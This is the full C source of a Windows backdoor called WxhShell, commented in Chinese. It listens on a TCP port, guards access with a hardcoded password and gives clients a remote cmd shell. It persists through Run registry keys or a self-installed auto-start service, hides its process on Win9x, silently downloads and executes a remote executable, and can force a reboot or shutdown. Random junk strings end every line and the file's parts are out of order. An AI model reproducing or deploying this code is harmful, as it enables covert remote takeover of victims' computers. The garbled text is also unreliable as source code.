    if(Boot(SHUTDOWN)) n*A?>NV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lXtsnQOOK  
    else { fGZ56eH:  
    closesocket(wsh); $UNC0 (4  
    ExitThread(0); Z(j"\d!y  
    } 7 Tb[sc'  
    break; zh{,.c  
    } e!W U  
  // 获取shell /!Ay12lKE}  
  case 's': { m)7Ql!l  
    CmdShell(wsh); !3F3E8%  
    closesocket(wsh); (1EtC{ m  
    ExitThread(0); J':X$>E|  
    break; K;z$~;F  
  } YMN=1Zuj?  
  // 退出 |`ya+/ff+  
  case 'x': { :V3z`}Rl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8)lrQvZ  
    CloseIt(wsh); H )51J:4  
    break; l~]D|92  
    } ]p8 zT|bv  
  // 离开 kmUL^vF  
  case 'q': { 8`<e\g7-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y2W|,=Vd  
    closesocket(wsh);  nU4to  
    WSACleanup(); 3k3 C\Cw  
    exit(1); }?\^^v h7  
    break; 9tX+n{i  
        } vgE -t  
  } FsO_|r  
  } wn^#`s!]U  
+Xp1=2Mq  
  // 提示信息 a^={X<K|/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~-<MoCm!  
} ,<N{Y[n]e  
  } ;L,i">_%u[  
ua"2nVxK_K  
  return; cZJ5L>ox  
} Y[l<fbh(}  
ue^HhZ9  
// shell模块句柄 &|j0GP&  
int CmdShell(SOCKET sock) wVqp')e  
{ Lb)rloca  
STARTUPINFO si; CuD}Uo+u  
ZeroMemory(&si,sizeof(si)); GeDI\-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J%-4ZB"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XUzOt_L5<  
PROCESS_INFORMATION ProcessInfo; DF_wMv:>^  
char cmdline[]="cmd"; XmD(&3;v-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HMC-^4\%[  
  return 0; ?"*JV1 9  
} _P=+\ [|y  
cF 4,dnI  
// 自身启动模式 JO*/UC>"  
int StartFromService(void) "w$,`M?2  
{ J$sBfO D  
typedef struct e'>q( B  
{ MT"&|Og  
  DWORD ExitStatus; ^D5Jqh)  
  DWORD PebBaseAddress; UOsK(mB  
  DWORD AffinityMask; 4d%0a%Z  
  DWORD BasePriority; e@qH!.g)  
  ULONG UniqueProcessId; ]+46r!r|  
  ULONG InheritedFromUniqueProcessId; E_En"r)y  
}   PROCESS_BASIC_INFORMATION; 1cv~_jFh  
L-}J=n\  
PROCNTQSIP NtQueryInformationProcess; t/Y0e#9,  
jQzl!f1c3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zPND $3&'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }^iqhUvT F  
nX 9]dz  
  HANDLE             hProcess; );%H;X+x  
  PROCESS_BASIC_INFORMATION pbi; xI1{Wo*2C}  
OtoM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); );':aX j  
  if(NULL == hInst ) return 0; s :7/\h  
"5Y6.$Cuf!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *Q^ z4UY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &:g:7l]g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >> "gb/x,  
?9a%g\`?:  
  if (!NtQueryInformationProcess) return 0; MNWI%*0LO  
Nwz?*~1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jr( =Y@Z '  
  if(!hProcess) return 0; iW^J>aKy  
cu($mjC@T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l@Vv%w9H  
Inv`C,$7Q#  
  CloseHandle(hProcess); hp)^s7H  
1'\QD`M9^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xy[#LX)RW  
if(hProcess==NULL) return 0; <kdlXS>J.  
Q}|K29Y:p  
HMODULE hMod; # G 77q$  
char procName[255]; H #_Zv]  
unsigned long cbNeeded; |g)C `k  
@wgd 3BU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IgG[Pr'D  
R,G*]/r`  
  CloseHandle(hProcess); A,9JbX  
^sD M>OHp  
if(strstr(procName,"services")) return 1; // 以服务启动 WJOoDS!i  
)&c#?wx'w  
  return 0; // 注册表启动 hr}f5Z)^v  
} Q !;syJBb.  
cx$IWQf2  
// 主模块 +QU>D:l  
int StartWxhshell(LPSTR lpCmdLine) z~pp7  
{ h6 {vbYj  
  SOCKET wsl; ?b,>+v-w::  
BOOL val=TRUE; FAEF  
  int port=0; A/>Q5)  
  struct sockaddr_in door; e4tIO   
V ql4*OJW  
  if(wscfg.ws_autoins) Install(); W5 F\e[Ax5  
>#|%'Us  
port=atoi(lpCmdLine); c4Zpt%:}h  
yV!4Im.>  
if(port<=0) port=wscfg.ws_port; ?eIb7O  
dT|f<E/P  
  WSADATA data; HU $"o6ap  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B-Jd|UE`u  
PC_!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b&U1^{(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Af;Pl|Zh[  
  door.sin_family = AF_INET; Mj MDD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KdR4<qVV}  
  door.sin_port = htons(port); ! I@w3`  
pbzFzLal  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { );gY8UL^  
closesocket(wsl); 8wsU`40=Q  
return 1; UphTMyn3  
} xm{]|~^JG  
KNx/1 lf  
  if(listen(wsl,2) == INVALID_SOCKET) { Y@+Rb  
closesocket(wsl); 1Z# $X`  
return 1; IL].!9  
} !DZ=`a?y  
  Wxhshell(wsl); Hb=#`  
  WSACleanup(); S}@7Z`  
RV~fml9c  
return 0; 0^ODJ7  
n[3z_Q I  
} >2s4BV[(  
rOSov"7  
// 以NT服务方式启动 &h334N|4{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m TE(J Zt  
{ (9]Uuvfp6"  
DWORD   status = 0; #rlgeHG!fs  
  DWORD   specificError = 0xfffffff; Je6[q  
\=ML*Gi*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #fuUAbU0X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !mNst$-H4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {"ST hTZ  
  serviceStatus.dwWin32ExitCode     = 0; 6@N,'a8r  
  serviceStatus.dwServiceSpecificExitCode = 0; Fz7t84g(  
  serviceStatus.dwCheckPoint       = 0; ,;g%/6X  
  serviceStatus.dwWaitHint       = 0; ],]Rv#`  
cJ4My#w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o :d7IL  
  if (hServiceStatusHandle==0) return; >. |({;n9  
6 4_}"fU  
status = GetLastError(); is<:}z  
  if (status!=NO_ERROR) ,h*gd^i  
{ /q9I^ztV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $J7V]c*-b  
    serviceStatus.dwCheckPoint       = 0; l~r;G rd/5  
    serviceStatus.dwWaitHint       = 0; Tv``\<   
    serviceStatus.dwWin32ExitCode     = status; sVFO&|L  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qte5E}V`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WcN4ff-  
    return; *rq*li;  
  } qed_PsI  
,>j3zjf^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t ed:]  
  serviceStatus.dwCheckPoint       = 0; kF|$oBQ  
  serviceStatus.dwWaitHint       = 0; EG{+Sz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lJK]S=cd  
} 4$Ai!a  
`c Gks  
// 处理NT服务事件,比如:启动、停止 F-;JN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bQaRl=:[:  
{ Id=20og  
switch(fdwControl) ;As~TGiT  
{ n_QuuUB  
case SERVICE_CONTROL_STOP: %KyZ15_(-L  
  serviceStatus.dwWin32ExitCode = 0; $[T ~<I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yX&# rI  
  serviceStatus.dwCheckPoint   = 0; 6qZQ20h  
  serviceStatus.dwWaitHint     = 0; KMhrw s{&B  
  { wkt4vE87  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 534pX7dg  
  } iA[T'+.Y  
  return; G@s:|oe  
case SERVICE_CONTROL_PAUSE: #(] D]f[@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >@N.jw>#T  
  break; ^A ]4  
case SERVICE_CONTROL_CONTINUE: OS[ s Qo5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =]@Bc 7@  
  break; Ec7xwPk  
case SERVICE_CONTROL_INTERROGATE: SqAz((  
  break; "5JMk -2k  
}; e{8C0=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rxy|Ag/I;V  
} s.z)l$  
U`*we43  
// 标准应用程序主函数 oCo~,~kTR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'bfxQ76@sa  
{ z fUDo`V~  
&^ERaPynd  
// 获取操作系统版本 |1wZ`wGZ:L  
OsIsNt=GetOsVer(); hTBJ\1 -  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q;SD+%tI  
&tOo[U?  
  // 从命令行安装 !+$qSD,%x  
  if(strpbrk(lpCmdLine,"iI")) Install(); !KV!Tkx h  
Nr@,In|JS  
  // 下载执行文件 8 8u[s@  
if(wscfg.ws_downexe) { R/{h4/+vJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 51}C`j|V3{  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0+0 Y$;<  
} ceg\lE:8  
y95  #t  
if(!OsIsNt) { 42 `Uq[5Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 3@F U-k,i  
HideProc(); T3b0"o27  
StartWxhshell(lpCmdLine); @!$xSH  
} []OS p&  
else Va[&~lA)  
  if(StartFromService()) eI|FrBq%  
  // 以服务方式启动 ~U<j_j)z4.  
  StartServiceCtrlDispatcher(DispatchTable); pTAm}  
else Vb 36R _u  
  // 普通方式启动 Ez <YD  
  StartWxhshell(lpCmdLine); +46& Zb35  
E2hML  
return 0; P w6l'  
} .==c~>N  
El}~3|a?  
FkMM>X  
8f,",NCgc  
=========================================== BDN}`F[F  
Z){fie4WM  
VU\G49  
*`s*l+0b  
#E4oq9{0*W  
m[ S1  
"  w&U28"i>  
pJ?y  
#include <stdio.h> i [/1AI  
#include <string.h> %PVu>^  
#include <windows.h> ='#7yVVcs  
#include <winsock2.h> 9aID&b +  
#include <winsvc.h> ~H ctXe'x  
#include <urlmon.h>  LWo)x  
45+kwo0  
#pragma comment (lib, "Ws2_32.lib") RG1#\d-fE  
#pragma comment (lib, "urlmon.lib") PtjAu  
Ornm3%p+e  
#define MAX_USER   100 // 最大客户端连接数 8v)Z/R-  
#define BUF_SOCK   200 // sock buffer _=w=!U&W  
#define KEY_BUFF   255 // 输入 buffer &S^a_L:  
+C$wkx]  
#define REBOOT     0   // 重启 GyE5jh2  
#define SHUTDOWN   1   // 关机 'pAq;2AA  
2J(,Xf  
#define DEF_PORT   5000 // 监听端口 Zf)<)o*  
k DKfJp&a  
#define REG_LEN     16   // 注册表键长度 5N>L|J2  
#define SVC_LEN     80   // NT服务名长度 .v) A|{:2  
\n0Gr\:  
// 从dll定义API "jq F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o`jVd,aj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3k+46Wp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G*VcAJ [  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yu9(qRK  
7*&q"   
// wxhshell配置信息 EU7mP MxJ  
struct WSCFG { {Cw>T-`  
  int ws_port;         // 监听端口 k1^&;}/f:  
  char ws_passstr[REG_LEN]; // 口令 ^@maF<Jb  
  int ws_autoins;       // 安装标记, 1=yes 0=no orF8%  
  char ws_regname[REG_LEN]; // 注册表键名 {NIE:MXX  
  char ws_svcname[REG_LEN]; // 服务名 )J|~'{z:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k8sjW!2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _`]YWvh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LwCf}4u"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bq}o#d5p-_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]\%u9,b%!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [M.!7+$o  
_$qH\>se  
}; >]8H@. \  
]OA8H[U-eA  
// default Wxhshell configuration G C3G=DTt  
struct WSCFG wscfg={DEF_PORT, bu r0?q  
    "xuhuanlingzhe", y[:xGf]8@  
    1, Bt-2S,c,o  
    "Wxhshell", |rk4,NG.  
    "Wxhshell", h-:te9p6>4  
            "WxhShell Service", $> PV6  
    "Wrsky Windows CmdShell Service", K@@[N17/8  
    "Please Input Your Password: ", p#(5 ;  
  1, 4] I7t  
  "http://www.wrsky.com/wxhshell.exe", 9r hl2E  
  "Wxhshell.exe" nx'D&, VX  
    }; w+3-j  
z0-`D.D@\  
// 消息定义模块 jG&gd<^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iwnFCZVS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <MBpV^Y}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C.;H?So(  
char *msg_ws_ext="\n\rExit."; q*4=sf,>  
char *msg_ws_end="\n\rQuit."; :HQQ8uQfb  
char *msg_ws_boot="\n\rReboot..."; OB5`a,5dI  
char *msg_ws_poff="\n\rShutdown..."; 7gcJ.,Z.  
char *msg_ws_down="\n\rSave to "; W~FM^xR?p  
<C,lHt  
char *msg_ws_err="\n\rErr!"; &ywU^hBh  
char *msg_ws_ok="\n\rOK!"; h#rziZ(  
u' +;/8  
char ExeFile[MAX_PATH]; e2l!L*[g  
int nUser = 0; K _sHZ  
HANDLE handles[MAX_USER]; _B5v&# h(.  
int OsIsNt; kls 6Dk#  
f/NfvLi(AU  
SERVICE_STATUS       serviceStatus; HTU?hbG(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KN-)m ta&  
a8laP N  
// 函数声明 '6zD`Q  
int Install(void); Q9h;`G 7t  
int Uninstall(void); 1iTI8h&[@  
int DownloadFile(char *sURL, SOCKET wsh); -'mTSJ.}  
int Boot(int flag); 9( "<NB0y  
void HideProc(void); 9d_ Zdc  
int GetOsVer(void); (Ld,<!eN0  
int Wxhshell(SOCKET wsl); oF0BBs$  
void TalkWithClient(void *cs); ~dc~<hK  
int CmdShell(SOCKET sock); hFp\,QSx  
int StartFromService(void); HX p $\%A)  
int StartWxhshell(LPSTR lpCmdLine); 85GU~.  
\T]'d@Wyd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yz7X7mAo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :7[20n}w  
6./3w&D;  
// 数据结构和表定义 \hr2#!  
SERVICE_TABLE_ENTRY DispatchTable[] = `8sC>)lrwu  
{ 'Wz`P#/  
{wscfg.ws_svcname, NTServiceMain}, r?j2%M\  
{NULL, NULL} oW \k%Vj  
}; |`,AA a  
(AI 4a+  
// 自我安装 7`_`V&3s  
int Install(void) LX2Re ]&  
{ iVe"iH  
  char svExeFile[MAX_PATH]; ZtLZW/`  
  HKEY key; ]w;!x7bU(  
  strcpy(svExeFile,ExeFile); y1c2(K>tu  
!xxdC  
// 如果是win9x系统,修改注册表设为自启动 t#BQB<GI  
if(!OsIsNt) { {GP#/5$=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \\UOpl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 64R~ $km  
  RegCloseKey(key); EYXHxo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s5cY>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rctGa ,l  
  RegCloseKey(key); u]uZc~T  
  return 0; ~,O&A B  
    } =jIP29+  
  } e WWtMnq  
} O@-|_N*;K  
else { PyQ P K,  
IJ E{JH  
// 如果是NT以上系统,安装为系统服务 wMvAm%}+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YM.Q?p4g  
if (schSCManager!=0) }2+*E}g  
{ 3K{G=WE$  
  SC_HANDLE schService = CreateService :F`-<x/  
  ( LzGSN  
  schSCManager, C=,O'U(ep  
  wscfg.ws_svcname, %s* F~E  
  wscfg.ws_svcdisp, |$+ xVi8  
  SERVICE_ALL_ACCESS, :xy4JRcF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _Qd C V`  
  SERVICE_AUTO_START, /k^!hI"4c  
  SERVICE_ERROR_NORMAL, ZBsV  
  svExeFile, @tzL4hy%^j  
  NULL, >&`;@ZOH  
  NULL, He)vl.  
  NULL, Gk-49|qIV  
  NULL, q>f|1Pf  
  NULL b;jr;I  
  ); &<oJw TC  
  if (schService!=0) k.<OO  
  { *c>B,  
  CloseServiceHandle(schService); !cNw 8"SIU  
  CloseServiceHandle(schSCManager); 0f9*=c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zTS P8Q7  
  strcat(svExeFile,wscfg.ws_svcname); 9:JQ*O$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d<_#Q7]I4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wrm ReT?  
  RegCloseKey(key); D/&nEMp6  
  return 0; 0'zX6%  
    } 05s{Z.aK  
  } +[Bl@RHe^  
  CloseServiceHandle(schSCManager); T%O2=h\} E  
} wn/Y 5   
} JyDg=%-$2  
e+O502]  
return 1; `"h[Xb#A`b  
} EZJ[+ -Q;  
a?1Ml>R6P  
// 自我卸载 'dJ(x  
int Uninstall(void) <_3OiU= w  
{ [yx8?5  
  HKEY key; ,t@B]ll  
GZzBATx  
if(!OsIsNt) { RfQ*`^D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s`I]>e  
  RegDeleteValue(key,wscfg.ws_regname); T7LO}(I.&  
  RegCloseKey(key); ZW%;"5uVm)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _fjHa6S  
  RegDeleteValue(key,wscfg.ws_regname); H>Q X?>j  
  RegCloseKey(key); EYSBC",  
  return 0; r^T+ I3  
  } xz3|m _)  
} %`\=qSf*  
} 0JU+v:J[=  
else { "U|u-ka8B  
4,.[B7irR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Ng}ZLBM  
if (schSCManager!=0) L "5;<  
{ SQ-CdpT<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =^mBj?(V7  
  if (schService!=0) IiM=Z=2  
  { N?v}\P U  
  if(DeleteService(schService)!=0) { vVf%wei^#  
  CloseServiceHandle(schService); FJ] ?45  
  CloseServiceHandle(schSCManager); Q?V'3ZZF!  
  return 0; v,Uu )Z  
  } s[Whg!2~  
  CloseServiceHandle(schService); #k|f%!-Vo  
  } "@UyUL  
  CloseServiceHandle(schSCManager); ,m[#<}xXA  
} 0aa&13!5  
} NeR1}W  
wxE'h~+  
return 1; h~5gHx/ a  
} 6vf<lmN  
k-I U}|Xz  
// 从指定url下载文件 '}9 %12\^h  
int DownloadFile(char *sURL, SOCKET wsh) ]iry'eljy  
{ ( "wmc"qH  
  HRESULT hr; KZ 4G"  
char seps[]= "/"; OZ4%6/  
char *token; l*b0uF  
char *file; O|0V mm  
char myURL[MAX_PATH]; ]23+ d/  
char myFILE[MAX_PATH]; d,E2l~s  
#B5-3CwB  
strcpy(myURL,sURL); tZygTvK/S  
  token=strtok(myURL,seps); juB/?'$~  
  while(token!=NULL) M3s:B& /  
  { z_%}F':  
    file=token; 4F,RlKHBl  
  token=strtok(NULL,seps); Nt~G  {m  
  } 7T?T0x3>  
uQ3W =  
GetCurrentDirectory(MAX_PATH,myFILE); ^C~t)U  
strcat(myFILE, "\\"); `=E4J2"  
strcat(myFILE, file);  Sr+ &  
  send(wsh,myFILE,strlen(myFILE),0); ntn ~=oL  
send(wsh,"...",3,0); /! M%9gu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >'v{o{k|C  
  if(hr==S_OK) $fwj8S7$  
return 0; vu3zZMl  
else Z9 zsvg  
return 1; &{S@v9~IT  
;-VXp80J  
} 4o kZ  
U]"6KS   
// 系统电源模块 &XB1=b5  
int Boot(int flag) r TK)jxklX  
{ }@vf=jm>  
  HANDLE hToken; R:U!HE8j   
  TOKEN_PRIVILEGES tkp; t8uaNvUM}e  
-932[+  
  if(OsIsNt) { B:fulgh2ni  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M<ba+Qn$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); */j[n$K>~`  
    tkp.PrivilegeCount = 1; |z`AIScT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @!B% ynrG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ><{Lh@{  
if(flag==REBOOT) { ?zK\!r{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "(yw(/  
  return 0; C:RA(  
} rhC x&L  
else { 8[x{]l[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V-lp';bD  
  return 0; i)@H  
} <1E5[9 q  
  } /e7BW0$1  
  else { ' [%?j?2r  
if(flag==REBOOT) { U?j[ 8z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sK7b4gmK  
  return 0; ):nC&M\W~  
} lz(}N7SLa  
else { moE!~IroG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) du&9mOrr  
  return 0; AX6l=jFZx  
} DS=Dg@y  
} #4F0o@Z  
% {A%SDh  
return 1; \8]("l}ms8  
} +,J!xy+~,  
h 2C9p2.  
// win9x进程隐藏模块 xvW# ~T]  
void HideProc(void) Z>hGqFZ0{  
{ h/7_IuD  
|qtZb}"|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zi.w+V  
  if ( hKernel != NULL ) .>^U mM  
  { =HHb ]JE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6IKi*}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v+ "9&  
    FreeLibrary(hKernel); E*8 3N@i  
  } V(OD^GU  
,<fs+oi  
return; (ljoD[kZ  
} F*=}}H/  
j4E`O%@^  
// 获取操作系统版本 teJY*)d  
int GetOsVer(void) %R?#Y1Tq;  
{ z}2  
  OSVERSIONINFO winfo; [#/@ v/`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i 8:^1rHp)  
  GetVersionEx(&winfo); w s7LDY&(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7?2<W-n  
  return 1; I1!m;5-c9k  
  else TFtD>q X  
  return 0; Q&e*[l2M6  
} P;ovPyoO  
m =%yZ2F;  
// 客户端句柄模块 E 7"`D\*  
int Wxhshell(SOCKET wsl) @!%HEs!# #  
{ yGlOs]>n  
  SOCKET wsh; R9InUX"k  
  struct sockaddr_in client; gU@BEn}  
  DWORD myID; cB}6{c$_sW  
7DIFJJE'  
  while(nUser<MAX_USER) wE#z)2?`\  
{ sF p% T4j  
  int nSize=sizeof(client); :xsNn55b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `D0H u!;  
  if(wsh==INVALID_SOCKET) return 1; SHN'$f0Mb  
DQ= /Jr~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VHx:3G  
if(handles[nUser]==0) 6G<gA>V  
  closesocket(wsh); }N W01nee  
else 1D)=q^\I  
  nUser++; @fI 2ZWN|  
  } 9oxn-)6JC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h3P^W(=&  
B^"1V{M  
  return 0; _r vO#h  
} h|[oQ8)  
5VGr<i&A  
// 关闭 socket iKEHwm  
void CloseIt(SOCKET wsh) v)rQ4 wD:  
{ n^%",*8gD*  
closesocket(wsh); }vt>}%%  
nUser--; N_f>5uv  
ExitThread(0); }Z8DVTpX}  
} ;7N~d TBQ  
wak'L5GQE  
// 客户端请求句柄 ^_JByB D  
void TalkWithClient(void *cs) 9u] "($  
{ 8U7X/L  
5ii:93Hlj  
  SOCKET wsh=(SOCKET)cs; f"0?_cG{%  
  char pwd[SVC_LEN]; z-?WU  
  char cmd[KEY_BUFF]; (GbZt{.  
char chr[1]; xc_-1u4a9  
int i,j; Hjc *W Tu  
287)\FU;3  
  while (nUser < MAX_USER) { 8d8GYTl b)  
^ /7L(  
if(wscfg.ws_passstr) { ~?uch8H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U$ 22r b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yo[Pu< zR  
  //ZeroMemory(pwd,KEY_BUFF); R6-Z]H u  
      i=0; L~ e{Vv8UR  
  while(i<SVC_LEN) { E  *{_=pX  
T{zz3@2?  
  // 设置超时 dmk_xBy s|  
  fd_set FdRead; s!WI:E7  
  struct timeval TimeOut; )A:|8m  
  FD_ZERO(&FdRead); #qg(DgH 7  
  FD_SET(wsh,&FdRead); .|<+-Rsj  
  TimeOut.tv_sec=8; wv&#lM(  
  TimeOut.tv_usec=0; 6'qu[ ~ }Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1eMz"@ Q9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y(*#0fJrTV  
:V^|}C#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tW} At  
  pwd=chr[0]; QT7PCHP  
  if(chr[0]==0xd || chr[0]==0xa) { N_| '`]D  
  pwd=0; IJv+si:k  
  break; JFh_3r'  
  } aF%V  
  i++; i'`[dwfS  
    } EN{o3@ O'  
CCU<t Q  
  // 如果是非法用户,关闭 socket B:=VMX~GE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N=~aj7B%  
} TI}Y U  
iuS*Vw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I"bz6t\~|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }<qT[m  
2^4OaHY88  
while(1) { 0. mS^g,M-  
g~]?6;uu  
  ZeroMemory(cmd,KEY_BUFF); ^@OdY& 5^  
!FHm.E_>  
      // 自动支持客户端 telnet标准   h #(J6ht  
  j=0; )Rr0f 8  
  while(j<KEY_BUFF) { ;T*o RS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x f<wM]&  
  cmd[j]=chr[0]; Y[Eq;a132  
  if(chr[0]==0xa || chr[0]==0xd) { MyaJhA6c  
  cmd[j]=0; 9#b/D&pX5  
  break; dBEm7.nh  
  } aKC,{}f$m  
  j++; {{@*  
    } l" +q&3Zx  
#VynADPs`o  
  // 下载文件 5`p>BJ+n  
  if(strstr(cmd,"http://")) { *:V+whBY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V2LvE.Kj  
  if(DownloadFile(cmd,wsh)) xASH- 9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Fs{~4T  
  else dq^vK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lGpci  
  } 'T(@5%Db  
  else { 3{9d5p|\i  
